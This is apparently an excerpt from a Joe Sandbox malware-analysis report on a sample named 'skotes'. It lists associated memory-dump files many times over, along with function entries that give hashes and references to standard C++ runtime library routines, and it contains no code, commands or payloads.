Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 7cc5d586e4b753b76cc217082dcb01d58fc30b685d01af23648ca248c227f056
Instruction ID: 763eb757e4ff996d981289b1099fef77f8703c2477ed1359ed880407d840ec9f
Opcode Fuzzy Hash: 7cc5d586e4b753b76cc217082dcb01d58fc30b685d01af23648ca248c227f056
Instruction Fuzzy Hash: 03F0E975900208F7C725FA54EC86C9EB3799EC2714B208329E40657181DB7CAE45CBD2

Function 007C67A9 Relevance: 6.2, APIs: 4, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 007C6902
__alloca_probe_16.LIBCMT ref: 007C6998
__freea.LIBCMT ref: 007C6A03
__freea.LIBCMT ref: 007C6A0F

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID:
API String ID: 1635606685-0
Opcode ID: e7918db77c355586ab9bdbab33ccd0d40937874ec772043014ef6470721d05a3
Instruction ID: f92c6dd510dd956007eddf35c6390dabba333e5fe578bf4ef7b7572a0a448481
Opcode Fuzzy Hash: e7918db77c355586ab9bdbab33ccd0d40937874ec772043014ef6470721d05a3
Instruction Fuzzy Hash: EA81AF72D00245ABDF20AE6488C5FEE7BF9AF49714F19805DE805B7281E73DDC408BA1

Function 007B504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 007B5115
___AdjustPointer.LIBCMT ref: 007B5138
___AdjustPointer.LIBCMT ref: 007B51D4

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 8d9f4253df27dcc7e3754f71cfa8fec7f9096557ca208b49321eb3340ed59487
Instruction ID: 76a370d4a2c1aaf52d24ee0cd9239e49920ab3341e8981a813bd40dc3d4b28d2
Opcode Fuzzy Hash: 8d9f4253df27dcc7e3754f71cfa8fec7f9096557ca208b49321eb3340ed59487
Instruction Fuzzy Hash: 5B51E372601A0EEFDB299F18D845BFA73B5FF14310F248529E80197291E739ED41DB91

Function 007B4C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 007B4C66
TypeidsEqual.LIBVCRUNTIME ref: 007B4C8B
PMDtoOffset.LIBCMT ref: 007B4CA1
PMDtoOffset.LIBCMT ref: 007B4D22

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction ID: 001a3327260a06f388c80bb6d1f4e239849eec228e7e5a4ef41f65bf9a8a2084
Opcode Fuzzy Hash: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction Fuzzy Hash: EE518A35B042099FDF11CF68C4807EEBBF5EF15354F14449AE950A7352D73AAA05CBA0

Function 007ADB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 007ADB64

Part of subcall function 007A8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 007A8F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 007ADBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 007ADBE9
Concurrency::location::_Assign.LIBCMT ref: 007ADC56

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: 7dc4e568f699399dfca8afca311fb17e2e2b5be53ff809ed7c383f111348b16d
Instruction ID: 6b94eecce37b68f723548dc90bf205d968d3474a8d2e8fec5a9f6b4f9054b073
Opcode Fuzzy Hash: 7dc4e568f699399dfca8afca311fb17e2e2b5be53ff809ed7c383f111348b16d
Instruction Fuzzy Hash: 8241E770604214FFCF299B24C88ABBDBB75AF86720F044299E5075B7C2CB78AD45C7A1

Function 007A56AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 007A56F2
_InternalDeleteHelper.LIBCONCRT ref: 007A5726
